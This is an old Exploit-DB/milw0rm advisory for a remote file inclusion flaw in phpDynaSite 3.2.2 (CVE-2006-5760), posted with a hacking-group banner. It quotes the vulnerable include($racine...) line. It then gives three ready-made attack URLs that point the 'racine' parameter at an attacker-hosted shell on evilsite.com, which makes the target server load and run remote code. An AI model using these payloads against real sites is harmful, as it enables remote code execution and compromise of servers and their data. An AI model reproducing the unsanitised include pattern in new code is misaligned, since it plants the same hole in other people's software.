phpDynaSite 3.2.2 - 'racine' Remote File Inclusion

Author: DeltahackingTEAM
type: webapps
platform: php
port: 
date_added: 2006-11-03 
date_updated: 2016-09-14 
verified: 1 
codes: OSVDB-30185;CVE-2006-5760;OSVDB-30184;OSVDB-30183 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comdynasite3.2.2.tar.gz

**********************************************************************************************************
                                                    WwW.Deltahacking.NeT

**********************************************************************************************************

* dynasite3.2.2

* Class = Remote File Inclusion ;

* Download = http://jaist.dl.sourceforge.net:80/sourceforge/phpdynasite/dynasite3.2.2.tar.gz

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code

     include($racine."connection.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/function_log.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/function_balise_url.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/connection.php?racine=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  Dr.Torojan

**************************************************************************************************************

# milw0rm.com [2006-11-04]